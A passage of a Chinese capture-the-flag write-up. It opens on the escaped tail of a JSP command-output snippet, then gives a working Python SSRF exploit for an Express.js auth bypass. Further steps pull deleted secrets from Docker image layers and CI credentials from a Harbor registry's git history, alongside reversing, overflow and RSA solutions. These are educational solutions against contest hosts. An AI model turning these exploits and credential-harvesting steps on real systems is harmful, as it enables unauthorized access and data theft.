\uuuu0072\uuuu0065\uuuu003e\uuuu0022\uuuu0029\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0061\uuuu003d\uuuu0069\uuuu006e\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu0028\uuuu0062\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu002d\uuuu0031\uuuu0029\uuuu007b\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0028\uuuu0062\uuuu0029\uuuu0029\uuuu003b\uuuu007d\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu0022\uuuu003c\uuuu002f\uuuu0070\uuuu0072\uuuu0065\uuuu003e\uuuu0022\uuuu0029\uuuu003b\uuuu007d%>
然后就和前一题一样的方法拿到了 flag。
baby express源代码都直接正大光明给你看了,读了好几遍感觉似乎确实没啥漏洞,利用条件都形成了一个闭环。不过既然源代码第一行说 code modified from https://github.com/expressjs/express/blob/4.x/examples/auth/index.js
,那我就一行一行好好比对一下,看看到底修改了哪些地方吧。
结果一看还真发现了问题,在 restrict()
这个中间件的实现,人家原本写的是:
function restrict (req, res, next ) { if (req.session .user ) { next (); } else { req.session .error = 'Access denied!' ; res.redirect ('/login' ); }}
修改之后变成了:
function restrict (req, res, next ) { if (!req.session .user || !req.session .user .admin ) { res.redirect ('/' ); } next ();}
没错,原本的代码是有 else
分支的,next()
只有在认证成功的情况下才会被执行。现在变成了即使认证失败也只是把用户重定向到首页,但是后面的代码依然会被执行,只是 res.end()
失效导致用户拿不到执行结果罢了。
那么所有被 restrict()
中间件保护的接口就可以利用了,/test
接口具有发送 HTTP 请求的功能,我们或许可以利用它以 127.0.0.1
的身份访问 /become_admin
接口,然后化身管理员。
app.get ('/test' , restrict, function (req, res ){ const request = require ('request' ).defaults ({jar : true }); let url = req.query .url ; if (url) { request (url, function (error, response, body ) { res.end (body); }); } else { res.end ('no url' ); }});
不过问题又来了,/test
接口请求的结果并不会返回给我们,因为在那之前我们已经被重定向了,我们又如何拿到 flag 呢?
我们可以在本地以访客身份登录一下拿到 Cookie,然后让 request()
带上我们的 Cookie 去请求 /become_admin
接口,等我们在远端成为管理员之后再用同一个 Cookie 从本地拿 flag 即可。
但是,我们能传给 /test
接口的参数只有一个 url
啊,如何给 request()
传递含 Cookie 的配置项呢?
如果仔细读过 Express.js 官方文档的话,你会在 req.query
这一节发现这样一个红框警告:
(https://expressjs.com/en/api.html#req.query )
没错,这就意味着我们传入的 url
何必只是一个 URL 字符串呢?我们完全可以传入一个 Object。而根据 request
库的官方文档,request()
的第一个参数既可以是 URL 字符串,也可以是一个含有各种配置项的 Object,正好符合利用条件。
(https://github.com/request/request#requestoptions-callback )
按照上述步骤写个 Python 脚本跑一下即可。
import requestsimport times = requests.Session()args = {"username" : "guest" , "password" : "guest" }url = "http://127.0.0.1:3000" r = s.post(url+"/login" , data=args, allow_redirects=False )sid = r.headers.get("Set-Cookie" ).split(";" )[0 ].split("=" )[1 ]r = s.get(url+"/test" , params={"url[uri]" : "http://127.0.0.1:3000/become_admin" , "url[method]" : "GET" , "url[followAllRedirects]" : True , "url[headers][Cookie]" : "connect.sid=" +sid, "url[jar]" : False }, allow_redirects=True )time.sleep(5 )r = s.get(url+"/test" , params={"url[uri]" : url+"/" , "url[method]" : "GET" , "url[headers][Cookie]" : "connect.sid=" +sid, "url[jar]" : False }, allow_redirects=True )r = s.get(url+"/flag" , allow_redirects=True )print (r.text)
exsecurity_flag_p我的 flag_p 是通过非预期做法拿到的,这里就讲一下题目修改之后正常的思考方式吧。
对目标机器做一下端口扫描,发现 8001 端口开着,直接访问拿到 flag。
exsecurity_flag_r通过 crt.sh 检索这个域名所有的 SSL 证书,发现了一个子域名。
访问发现是 Harbor,结合之前具有争议的 CVE-2022-46463,尝试获取公开镜像,结果发现搜索功能不知道为啥 500 了。不过一番摸索后发现 Harbor API 是正常的,通过 https://registry-intra-idc.exsecurity.top/api/v2.0/projects/
拿到所有公开项目,再通过 https://registry-intra-idc.exsecurity.top/api/v2.0/projects/flag_r/repositories/flag_r_a302102434b/artifacts
拿到 flag_r
对应的构建产物信息,然后 docker pull
拉取即可。
拉取下来之后,创建容器,发现并没有 flag。看了眼构建过程发现先是添加了flag.txt
然后又把它删了。
不过这一举动毫无意义,因为 Docker 镜像实际上是层状结构,每一个构建步骤都对应着一层,因此只要把含有 flag.txt
的那一层提取出来即可。通过 docker save -o docker.tar.gz <IMAGE_ID>
获得一个压缩包,里面含有每一层的信息,解压后找到了 flag.txt
。
exsecurity_flag_h访问主页 https://www.exsecurity.top/ ,按下 F12 看到 Hint。
同时我注意到这个网站居然使用的是 Parcel Development Server,哪个正经的生产环境会直接 yarn start
啊,不应该先打包编译出静态文件然后交给专门的生产服务器吗?
然后就在源代码选项卡看到了 __parcel_source_root
,好家伙源代码直接爆出来了。
那么根据 Hint 访问 https://www.exsecurity.top/__parcel_source_root/flag_h.txt
即可。
exsecurity_flag_s在 exsecurity_flag_r 那道题发现了隐藏的 Harbor,当时只拉取了 flag_r
镜像,这次把 homepage/corp
镜像也拉下来看看有没有什么特别的地方。
构建历史里似乎没什么特别的,涉及到的 flag 也是 flag_h,那么在本地创建一个容器进去看看。注意到这个网页用的是一个开源项目,于是在 GitHub 上找到原始的项目 ,和容器内的文件进行了比对,发现只多了 Dockerfile
、flag_h.txt
和 .gitlab-ci.yml
三个文件。
注意到镜像内保留了 .git
,尝试 git log
了一下成功看到了 Git 日志。
似乎依然没啥特别的,就是在原始仓库的基础上多了两个 commit。但是如果你细看一下每个 commit 的文件改动记录,就能发现端倪。
我们看一下 b7986a
这个 commit 的详细信息:
没错,从中我们可以看出 .gitlab-ci.yml
和 Dockerfile
这两个文件并不是在这个 commit 中才添加的,而是早就已经存在于这个镜像内的仓库中了,这与 GitHub 上的原始仓库并不一致。
那么自然就想到去看一看这两个文件究竟是什么时候被添加进来的。通过 Git 操作镜像内的仓库回退到了最初的版本,发现并没有这两个文件,说明是在中间某处被添加的,需要往近处再翻找一下,最后在 f5d21b
版本发现了问题。
通过 git checkout f5d21b
,看一下此时的 .gitlab-ci.yml
,果然看到了敏感信息,是供 CI 登录 Harbor 的账号密码。
那么拿着这个账号密码去 https://registry-intra-idc.exsecurity.top/
登录一下即可看到私有的 flag_s
。
然后用和 flag_r 相同的办法拉取下来,提取出含有 flag.txt
的那一层即可。
(说起来这道题竟然只有我做出来了?!)
baby php直接给出了源代码,一看这怎么可能拿到 flag 嘛,想让 1===0
成立根本就不可能吧。
那么唯一的线索就是 PHPINFO 了,既然主动呈现给我们了那必有蹊跷。
果然,Server API 那一栏写的是 Built-in HTTP Server,说明这个站点用的是 PHP Development Server,又一个拿开发环境当生产环境的。结合 PHP 7.4.21 以及 PHP Development Server 作为关键词进行检索,发现了 PHP Development Server <= 7.4.21 - Remote Source Disclosure 这个漏洞。按照提供的 POC,使用 Burp Suite 复现一下即可拿到 flag.php
源代码。
(注意把 Update Content-Length 去掉)
Pwnable 简单的RPG1显然无论选择1还是2都是死路一条,那么根据 chall.c
文件内 stage1()
函数中的这段代码
while (1 ){ choice = getchar (); if ((choice^(status*9 )^0x86 ) == stage1key[status]){ status++; if (status==sizeof (stage1key))break ; } else status=0 ; if (choice == '1' || choice == '2' )break ;}
写个 C++ 程序爆破一下能够跳出这段循环的输入序列。
#include <bits/stdc++.h> using namespace std;unsigned char stage1key[] = {157 , 212 , 213 , 134 , 249 , 234 , 171 , 226 , 140 , 204 , 135 , 167 , 241 , 168 , 188 , 26 , 77 , 92 , 63 , 118 , 118 , 32 , 27 , 10 , 60 , 6 , 14 , 20 };int main () { char choice; for (int i = 0 ; i < sizeof (stage1key); i++) { for (char choice = 0 ; choice <= 255 ; choice++) { if ((choice ^ (i * 9 ) ^ 0x86 ) == stage1key[i]) { cout << (int )choice << " " ; break ; } } } return 0 ;}
得到正确的输入序列是 27 91 65 27 91 65 27 91 66 27 91 66 27 91 68 27 91 67 27 91 68 27 91 67 98 97 98 97
,对照一下 ASCII 码表输入即可。
简单的RPG2过关的条件是必须购买圣剑且力量>10000,只有这么点钱根本就不可能做到嘛。
好在购买树枝的这段代码有点问题。
num=atoi (input_buff);cost=num*50 ;setcursor ((windowX/5 )*3 +13 ,windowY/2 -10 );if (num<=0 || cost <=0 ){ puts ("投机取巧是不行的哦" );}else if (money<cost){ puts ("金钱不足" );}else { power+=num; money-=cost; printf ("获得了%d个树枝,好划算\n" ,num);}
只要我们输入一个足够大的正整数 num
,使得 num*50
超过 int
类型的上界发生溢出,且溢出很多使得 cost
依然为正但小于 money
,那么就不会出现钱不够的情况,而且还获得了巨大的力量。
比如85899346就符合条件,购买圣剑之后再购买85899346个树枝,即可拿到 flag。
简单的RPG3第三关是个迷宫,不过每一步能不能似乎走对全靠运气,因为正确的方向是靠随机数生成的,每次都不一样,这可咋办?
不过看到 srand(time(0)/10);
瞬间就明白了,既然是拿当前的时间作为随机数种子,那么只要我保持本地时间和服务器时间一致,也拿同样的种子,即可预测生成的随机数序列,每一步该咋走也就清楚了。
#include <bits/stdc++.h> using namespace std;int main () { srand (time (0 ) / 10 ); char tab[4 ] = {'W' , 'A' , 'S' , 'D' }; for (int i = 0 ; i < 10 ; i++) cout << tab[rand () % 4 ]; return 0 ;}
根据生成的序列走即可,注意手速要快,不能和服务器时间差太多,然后就拿到 flag 了。
简单的RPG4这关开始不提供源代码了,不过拖进 IDA 逆向一下就可以了。
读了下伪代码发现本意是想让我们在 your_deck/
目录下选择一个怪兽和抓根宝战斗,然而都试了一遍发现 your_deck/
目录下提供给我们的怪兽都弱爆了,根本打不过。
不过没关系,自己的牌不好那就直接抢对手的牌,只需要召唤 your_deck/.../opp_deck/Dragonmaid_Strahl
就搞定了。
顺利拿到 flag。
简单的RPG5走迷宫,作为一个 ex-OIer 上来就是一个 DFS,然而根本搜不出路,看来是故意这样设计的,根本就到不了终点。
拖进 IDA 分析代码逻辑,发现确实是严格按照用户的输入一步一步走,判断是否撞墙,拿到 flag 的前置条件也确实必须走到终点,似乎找不到突破口。
仔细观察一下,发现我们的输入被 scanf()
限制了长度为512,存储到了 byte_40C0[]
这个数组里。
再看看 getbit()
函数的实现,发现迷宫的地图数据竟然也存储在 byte_40C0[]
这个数组,只不过是在后半部分,有一个512的偏移量。
这不就有机可乘了嘛。要知道 C 语言中读入一个长度为512的字符串,占用的空间可不是512而是513,因为最后一位是个 \0
,代表字符串结束。这也就意味着如果我们输入的路径有512步,那么地图数据将被篡改,左上角的围墙会消失。
这就为我们打开了一条由 ( 1 , 1 ) (1,1) ( 1 , 1 ) 走向 ( 1 , 7 ) (1,7) ( 1 , 7 ) 的通路,跑了下 DFS 从 ( 1 , 7 ) (1,7) ( 1 , 7 ) 到 ( 49 , 99 ) (49,99) ( 4 9 , 9 9 ) 是通的,找到了路径。于是我们只要把两段路连起来,再有意增加一些来回移动,把路径的长度凑够512即可。
swswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswWDDDDDDSDDDDDDDDSSDDDDWWDDSSSSAASSSSDDSSDDWWDDWWAAWWDDDDWWDDWWDDDDDDDDSSSSSSDDSSSSAASSSSDDSSSSSSAAAAAAAAAAAAAASSSSSSSSSSAAAAAASSSSSSSSDDSSSSAASSSSDDSSDDDDDDDDDDDDDDWWDDDDDDDDSSDDDDDDWWDDDDDDSSDDDDDDDDWWWWDDDDSSDDSSDDDDWWWWWWWWDDDDSSDDSSSSSSDDDDWWDDDDDDDDDDDDDDSSDD
(最前面的 sw
是来回移动用来凑长度的)
Reverse Endless尝试直接运行程序发现运行不了,拖进 IDA 里看一眼竟然是个 PowerPC 程序,不过只要根据 IDA 反汇编的结果,把代码移植到 X86_64 就可以了吧。幸好程序并不复杂,很快就移植好了。
#include <bits/stdc++.h> using namespace std;unsigned char byte_100200B8[] = {0xFD , 0x58 , 0xCB , 0xEE , 0x14 , 0x87 , 0xE6 , 0x90 , 0xFC , 0x68 , 0xCD , 0xF4 , 0x08 , 0x87 , 0xE9 , 0x91 , 0xED , 0x58 , 0xD7 , 0xEA , 0x08 , 0xB6 , 0xE9 , 0x9A , 0xE0 , 0x54 , 0xDC , 0x00 };unsigned long long sub_10000824 (unsigned int a1) { long long v1; unsigned int i; unsigned int j; long long v5; long long v6; unsigned long long *v7; v7 = new unsigned long long [100000 ]; v5 = 0LL ; if (a1 <= 0xE8 ) { v6 = (a1 + 1337 ) * a1 + 7331 ; } else { for (i = 0 ; i < 0xE9 ; ++i) { v7[i] = sub_10000824 (a1 - i - 1 ); if ((i & 1 ) != 0 && i != 232 ) v7[i] = v7[i - 1 ] - v7[i]; } for (j = 0 ; j < 0xE8 ; ++j) { if ((j & 1 ) != 0 ) v1 = v7[j] * v7[j]; else v1 = v7[j]; v5 += v1; } v6 = v5 + 2023LL * v7[232 ]; } delete v7; return v6;}char ans[10000 ];int main () { unsigned long long qword_100200E8 = sub_10000824 (0x7331 u); for (int i = 0 ; i <= 0x1A ; ++i) ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[i % 8 ]; cout << ans << endl; return 0 ;}
编译运行,结果发现程序卡住了,一直没有反应,难怪名字叫 Endless。不过作为一个 ex-OIer 一下子就发现了问题,sub_10000824()
是用递归实现的,涉及到了大量的重复计算,这能不慢吗?于是加了一个记忆化数组,优化了一下程序,总算能跑了。
#include <bits/stdc++.h> using namespace std;unsigned char byte_100200B8[] = {0xFD , 0x58 , 0xCB , 0xEE , 0x14 , 0x87 , 0xE6 , 0x90 , 0xFC , 0x68 , 0xCD , 0xF4 , 0x08 , 0x87 , 0xE9 , 0x91 , 0xED , 0x58 , 0xD7 , 0xEA , 0x08 , 0xB6 , 0xE9 , 0x9A , 0xE0 , 0x54 , 0xDC , 0x00 };long long mem[100000 ];unsigned long long sub_10000824 (unsigned int a1) { long long v1; unsigned int i; unsigned int j; long long v5; long long v6; unsigned long long *v7; v7 = new unsigned long long [100000 ]; v5 = 0LL ; if (a1 <= 0xE8 ) { v6 = (a1 + 1337 ) * a1 + 7331 ; } else { for (i = 0 ; i < 0xE9 ; ++i) { v7[i] = (mem[a1 - i - 1 ] != 0 ) ? mem[a1 - i - 1 ] : sub_10000824 (a1 - i - 1 ); if ((i & 1 ) != 0 && i != 232 ) v7[i] = v7[i - 1 ] - v7[i]; } for (j = 0 ; j < 0xE8 ; ++j) { if ((j & 1 ) != 0 ) v1 = v7[j] * v7[j]; else v1 = v7[j]; v5 += v1; } v6 = v5 + 2023LL * v7[232 ]; } delete v7; mem[a1] = v6; return v6;}char ans[10000 ];int main () { unsigned long long qword_100200E8 = sub_10000824 (0x7331 u); for (int i = 0 ; i <= 0x1A ; ++i) ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[i % 8 ]; cout << ans << endl; return 0 ;}
然而运行结果却是一堆乱码,并不是我们想要的 flag。
此时离成功只差一步之遥,由于 PowerPC 采用的是 Big Endian(大端序),而我们常用的电脑都是 Little Endian(小端序),因此移植的时候一旦涉及到位运算要小心处理,本题中就需要把 ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[i % 8];
修改成 ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[7 - i % 8];
,从而在小端序电脑上模拟大端序电脑的运行结果。
#include <bits/stdc++.h> using namespace std;unsigned char byte_100200B8[] = {0xFD , 0x58 , 0xCB , 0xEE , 0x14 , 0x87 , 0xE6 , 0x90 , 0xFC , 0x68 , 0xCD , 0xF4 , 0x08 , 0x87 , 0xE9 , 0x91 , 0xED , 0x58 , 0xD7 , 0xEA , 0x08 , 0xB6 , 0xE9 , 0x9A , 0xE0 , 0x54 , 0xDC , 0x00 };long long mem[100000 ];unsigned long long sub_10000824 (unsigned int a1) { long long v1; unsigned int i; unsigned int j; long long v5; long long v6; unsigned long long *v7; v7 = new unsigned long long [100000 ]; v5 = 0LL ; if (a1 <= 0xE8 ) { v6 = (a1 + 1337 ) * a1 + 7331 ; } else { for (i = 0 ; i < 0xE9 ; ++i) { v7[i] = (mem[a1 - i - 1 ] != 0 ) ? mem[a1 - i - 1 ] : sub_10000824 (a1 - i - 1 ); if ((i & 1 ) != 0 && i != 232 ) v7[i] = v7[i - 1 ] - v7[i]; } for (j = 0 ; j < 0xE8 ; ++j) { if ((j & 1 ) != 0 ) v1 = v7[j] * v7[j]; else v1 = v7[j]; v5 += v1; } v6 = v5 + 2023LL * v7[232 ]; } delete v7; mem[a1] = v6; return v6;}char ans[10000 ];int main () { unsigned long long qword_100200E8 = sub_10000824 (0x7331 u); for (int i = 0 ; i <= 0x1A ; ++i) ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[7 - i % 8 ]; cout << ans << endl; return 0 ;}
再次编译运行即可拿到 flag。
EasyMBA拖进 IDA,根据反汇编结果,只要输入的数据通过四个 checker 即可拿到 flag。
checker1()
的逻辑非常简单,可以直接算出正确的输入是 2833100173
。
对于剩下三个 checker,直接写三个 C++ 程序暴力求解正确输入即可。
#include <bits/stdc++.h> using namespace std;bool checker2 (int a1) { if (~(3 * (a1 & 0x5427F672 ) - (a1 | 0xABD8098D ) - a1 + 1471157018 ) == 1352221957 ) return true ; return false ;}int main () { for (int i = 0 ; i <= INT_MAX; i++) { if (checker2 (i)) { cout << i << endl; } } return 0 ;}
#include <bits/stdc++.h> using namespace std;bool checker3 (int a1) { if (a1 > 0x10000000 ) return false ; if (4 * ((~a1 & 0xADFDBC7B ) + 2 * ~(~a1 | 0xADFDBC7B )) + -3 * (~a1 | 0xADFDBC7B ) + 3 * ~(a1 | 0xADFDBC7B ) - ((a1 ^ 0xADFDBC7B ) - 10 * (a1 & 0xADFDBC7B )) == 590670598 ) return true ; return false ;}int main () { for (int i = 0 ; i <= INT_MAX; i++) { if (checker3 (i)) { cout << i << endl; } } return 0 ;}
#include <bits/stdc++.h> using namespace std;bool checker4 (int a1) { if (a1 > 0x10000000 ) return false ; if (11 * ~(a1 ^ 0xE76EDA24 ) + 4 * ~(~a1 | 0xE76EDA24 ) - (6 * (a1 & 0xE76EDA24 ) + 12 * ~(a1 | 0xE76EDA24 )) + -5 * a1 - 2 * ~(a1 | 0xCD731B78 ) - (a1 | 0x328CE487 ) + 3 * (a1 & 0xCD731B78 ) - 2 * (-2 * (a1 & 0x328CE487 ) - (a1 | 0x328CE487 )) == -979756886 ) return true ; return false ;}int main () { for (int i = 0 ; i <= INT_MAX; i++) { if (checker4 (i)) { cout << i << endl; } } return 0 ;}
求出来checker2()
的正确输入是 79606647
,checker3()
的正确输入是 84381514
,checker4()
的正确输入有多个:
48871042 48871554 48891522 48892034 53065346 53065858 53085826 53086338 69842562 69843074 69863042 69863554
依次尝试发现只有用最后一个,也就是 69863554
才能拿到 flag。
Crypto对密码学完全不了解,只好现学现卖,可能有讲得不对的地方。
Baby RSA看到 e = 3 e=3 e = 3 ,首先考虑小公钥指数攻击,也就是 m = c + k × N 3 m=\sqrt[3]{c+k\times N} m = 3 c + k × N 依次枚举自然数 k k k ,然而把 [ 0 , 130000000 ] [0,130000000] [ 0 , 1 3 0 0 0 0 0 0 0 ] 范围内的 k k k 都枚举遍了也没开方开出整数 m m m ,似乎是因为这道 RSA 有 padding,m m m 的长度为255,导致 k k k 需要很大,不能通过枚举破解。
def pad (m ): return m + b'\x00' * (255 - len (m))
那么就尝试把 padding 的过程写成数学表达式吧。我们记原本的消息(也就是 flag)为 m 0 m_0 m 0 ,经过 padding 之后的消息为 m m m ,其中 m 0 m_0 m 0 长度未知,m m m 长度为255。尽管我们不知道原本消息的长度,但我们可以大胆假设一下消息的长度不会超过45,于是干脆假设 m 0 m_0 m 0 长度为45,那么 padding 的过程也就相当于在 m 0 m_0 m 0 后面补了210个全0的字节(8*210个0比特)。将 m m m 和 m 0 m_0 m 0 看成十进制整数,于是得到这样的关系式:
m = p a d ( m 0 ) = m 0 × ( 2 8 ) 210 m=pad(m_0)=m_0\times (2^8)^{210} m = p a d ( m 0 ) = m 0 × ( 2 8 ) 2 1 0
于是根据 RSA 的加密关系,有:
c ≡ m 3 m o d N c\equiv m^3 \bmod N c ≡ m 3 m o d N
c ≡ ( m 0 × ( 2 8 ) 210 ) 3 m o d N c\equiv (m_0\times (2^8)^{210})^3 \bmod N c ≡ ( m 0 × ( 2 8 ) 2 1 0 ) 3 m o d N
c ≡ m 0 3 × ( 2 8 ) 210 × ( 2 8 ) 210 × ( 2 8 ) 210 m o d N c\equiv m_0^3\times (2^8)^{210}\times (2^8)^{210}\times (2^8)^{210} \bmod N c ≡ m 0 3 × ( 2 8 ) 2 1 0 × ( 2 8 ) 2 1 0 × ( 2 8 ) 2 1 0 m o d N
其中 c c c 和 N N N 我们都已知,那么等式两边同时乘以 ( 2 8 ) 210 (2^8)^{210} ( 2 8 ) 2 1 0 的逆元的三次方,我们就可以得到 m 0 3 m o d N m_0^3 \bmod N m 0 3 m o d N ,此时的 m 0 m_0 m 0 因为长度只有45,再应用小公钥指数攻击即可(事实上都不需要加上 k k k ,直接开三次方就开出整数了)。
from Crypto.Util.number import *from gmpy2 import irootn = 16530365897488441262718469160468305284672770158565384656092954623166151666302358404933519039638206427781958395014977873069315249917687177391054598956921816589982653878314268070746187225652226338489804977785763153836685700798637491040895954952095422949071944941698464075339538328682378899518357259255186771307748930179001187349761726049249957165990922342916419869650553300100675697071325624717861450136979864203856665171732760034460573404619831815041691417998362001038634540263831565785650815875836418726271391989975051958347165191015489214380435520924596097210274112756495171085840647510675017795358896351877011292749 ct = 1649242716162425826952050775303626268696750298411662319537259424228876945404220528279665292763881515080700349538084002211268837126748044168226799293579149622927076423346431814176280309043104500742869900600491670771220025075170550107937095925147470540522377810395335659166311121764537896320094910974901416858921029589127145477064557304982115657845643933262558300020611395670651783198790515650255634160032636409647553580657649111930945938237122361584298948645275748211120347592403311681019560483613600396814929463355821651618347651685517027239330376660444812896525930403439089808046524555500501484453485168927363278214 r = pow (256 , 210 , n)inv_r = inverse(r, n)m = iroot(ct*inv_r*inv_r*inv_r % n, 3 )print (long_to_bytes(m[0 ]))
Child RSA上一题的进阶版本,仅仅把 padding 的模式从全零填充换成了填充 \x01
(即 00000001
),提升了难度。
依旧可以用数学语言写出 padding 过程的表达式。我们同样记原本的消息(也就是 flag)为 m 0 m_0 m 0 ,经过 padding 之后的消息为 m m m ,其中 m 0 m_0 m 0 长度未知,m m m 长度为255。同样大胆假设 m 0 m_0 m 0 长度为45,那么 padding 的过程也就相当于在 m 0 m_0 m 0 后面补了210组 00000001
比特。将 m m m 和 m 0 m_0 m 0 看成十进制整数,于是得到这样的关系式:
m = p a d ( m 0 ) = m 0 × ( 2 8 ) 210 + 2 0 + 2 8 + ⋯ + 2 8 × 219 = m 0 × ( 2 8 ) 210 + ( 2 8 ) 210 − 1 2 8 − 1 m=pad(m_0)=m_0\times(2^8)^{210}+2^0+2^8+\cdots+2^{8\times219}=m_0\times(2^8)^{210}+\frac{(2^8)^{210}-1}{2^8-1} m = p a d ( m 0 ) = m 0 × ( 2 8 ) 2 1 0 + 2 0 + 2 8 + ⋯ + 2 8 × 2 1 9 = m 0 × ( 2 8 ) 2 1 0 + 2 8 − 1 ( 2 8 ) 2 1 0 − 1
为了方便起见,记 a = ( 2 8 ) 210 a=(2^8)^{210} a = ( 2 8 ) 2 1 0 ,b = ( 2 8 ) 210 − 1 2 8 − 1 b=\frac{(2^8)^{210}-1}{2^8-1} b = 2 8 − 1 ( 2 8 ) 2 1 0 − 1 ,则有:
m = p a d ( m 0 ) = a m 0 + b m=pad(m_0)=am_0+b m = p a d ( m 0 ) = a m 0 + b
于是根据 RSA 的加密关系,有:
c ≡ m 3 m o d N c\equiv m^3 \bmod N c ≡ m 3 m o d N
c ≡ ( a m 0 + b ) 3 m o d N c\equiv (am_0+b)^3 \bmod N c ≡ ( a m 0 + b ) 3 m o d N
a 3 m 0 3 + 3 a 2 b m 0 2 + 3 a b 2 m 0 + b 3 − c ≡ 0 m o d N a^3m_0^3+3a^2bm_0^2+3ab^2m_0+b^3-c\equiv 0 \bmod N a 3 m 0 3 + 3 a 2 b m 0 2 + 3 a b 2 m 0 + b 3 − c ≡ 0 m o d N
到这里似乎不太好做了,我们得到的是一个三次多项式的同余方程,至少我解不出来,丢给 Mathematica 也解不出。于是以 modular polynomial equation 作为关键词检索了一下,还真发现个 Coppersmith method 似乎能解决这种方程。看了眼维基百科上的解释 ,发现这个算法已经在 SageMath 里实现好了,兴冲冲地拿去用,结果报错了。原来 Coppersmith method 要求这个多项式必须是首一多项式,而我们这个多项式最高次项前面有系数,那咋办?
幸好 a 3 a^3 a 3 的逆元存在(记为 i n v ( a 3 ) inv(a^3) i n v ( a 3 ) ),对方程两边同时乘以 i n v ( a 3 ) inv(a^3) i n v ( a 3 ) ,得到:
m 0 3 + 3 a 2 b i n v ( a 3 ) m 0 2 + 3 a b 2 i n v ( a 3 ) m 0 + ( b 3 − c ) i n v ( a 3 ) ≡ 0 m o d N m_0^3+3a^2binv(a^3)m_0^2+3ab^2inv(a^3)m_0+(b^3-c)inv(a^3)\equiv 0 \bmod N m 0 3 + 3 a 2 b i n v ( a 3 ) m 0 2 + 3 a b 2 i n v ( a 3 ) m 0 + ( b 3 − c ) i n v ( a 3 ) ≡ 0 m o d N
正是我们要的首一多项式,丢给 SageMath 一下子就解出来了,然后还原成字符串即可拿到 flag。
N = 17022643406514350347573614465221696412722093893069884767243788880650197186586896695677232954756001085570908846778062553748252730496162774516963609020852021240663517062164143433972096285671583857300879566762429174925637808711899529732967964744088548497546563683172958195418996012865897850179068749931908849579004796030024201648134080256899877361133867143808268771425201158477438673553801559428342889346934705891370908283804031253368466095743470387105335979770140651537303634622746448342605800452083233872484864431450513349565059478371458778685883614230275550760174388677496289114774270577941915682644246153516217470289cof1 = 7654811310494849798021593535838957164034235239444593486205902159219993926421703675382736379329695891056904149081520547693861134062326098641389076541695740273615825257074586144622272910435465399715878203827537912088549315112808698014263369037918752081172098277372015885102097148298774484125035157739560166495842652029217779403218833310083665224557484221080290003975621827166977961990907179524063242111250847516013776097469541369552121244027979749433406775448931648249048677669133375387657003666276481492775575045012202432238970376100782343002959674306700372647624197337455195019109593666495172341887440308820013321239711500650037549866392293571023406341581272032258884724631008499748540838526080846262329434540196946704941997607070368055096300149231001524974354362242290850539574671138929750078905495728709989761653139350608623351763588394153115266889332314799543522123944869140564794761462407715376789008289297666606580806445423650578459257833446017201266484489232192503190476268978188967560202382641258574743980457090723073685275243864523774890972040243532284179922357320211299391576450146967424476092164536708808786453218538228046110651007766008465069360981098347660922986353534005016703001280857498611505379926430531377684940286187235419934660411981564640971927277585368605013499282800347012605475784878876658114151396049986055252777480623330163491162286948543267881193465776183061720969252071807174119752317677240077013904888955743916764740416213159233248705300095471477946003728069943810518643625544048336096645492268396294902917376777374710548820606726679829973268919708139536446996018991091037080507910108031213136873912997484407049136407524930800997023573109785579998096386020014617612624226217429318823142428722478013610513259570813165411489809668110292268019470478612033821306423824198055594015181282411844750920121928098666451183568631842860947202235633688078282490134227984608930764275993375714782570069572972385163479851595411608898886016021357537686984211550946073052389619548721727524791028368296749663958192484843361421518944692856474123045634905622051718021050098150535474912151674042866007298338223422826435477106751941424146991389196817461134933944899013297900453019373646535519104270109209483142764331015835314416796973382730918278662431581084797266969132054681948475932606176771846573170675271315147832706338578837639590335828082150572278872196493572996251984818196755538381848175512540234665456166483025031150321611008100430334834466691990201664038194633149094316290024648166890101326327329853839595260717240590518708346315806525474328106496722045407192145765309300301279529166880677987677953898044837945676271058541238676364131941619282890367078050354185504881727895408554721469475831056724047431356484508560444484614228508332735300322190760116569626766163917876758870999957114051716788028849750214499415840044346083964165059675360859703331795471145336257825223149623571605708457646256220550406699742879044904821369720949579582839342628722408980240590388167597485077346062248672195253060515834254538311362839230760069268120063806798627852550023831716865619641828556927151302522637544989606854444179517897493746509051369139634737000666856460565542326944167245402284030364095481289608297378400313749602466206279795444081719150470562695110251163487809884174874619498498748519816292463690956911748817685310633148759794795505996488774692645109760cof2 = 30018867884293528619692523669956694760918569566449386220415302585176446770281190883853868154234101533556486859143217834093573074754219994672114025653708785386728726498331710371067736903668491763591679230696227106229605157305132149075542623678112753259498424617145160333733714307054017584804059442115922221552324125604775605502818954157190844017872487141491333348924007165360697890160420311859071537691179794180446180774390358311969102917756783331111399119407575091172739912427974021128066681044221496050099735821921026232223806004629270625439348760884032123993124751524435291770694298367921749818375768759848822720589261659147314469772137180239928013748688221048561868551112287252009963775962651402018062402276849713961757813217748767892321696449318437882881048510802237481015286879165480045302383979733225851700339051690971509535713399173901274068899207913136520332032146344681013815614452648924026183249327624637425057690257739971978521921223751197397536011431725428868555944672709948073557902250311760103002014383079413337392688687066901312054133450274218394568368194058181640958749645380036801679205882852514323441267209442231054327503952120776479487794231297836307072935019376482760723288863455310179906607151903164503892487610528174876743117365993401037529566949312481848879563235609138010365381176726084326180589252355082827750084471514860433262183247361644552185702863353006180234194903879166590991851862742813912282942986826665730661880846396992349434485403404256799202588263619638195294798705542507825307743342885567472568662720449185700892563020720610050671706197248920313974880155282598764839971472984398202291683254151446959918200762941623418469254170314468520205603903903899488981462999811491188125929270565137441077566149023370210069849172143822335046912717225469769936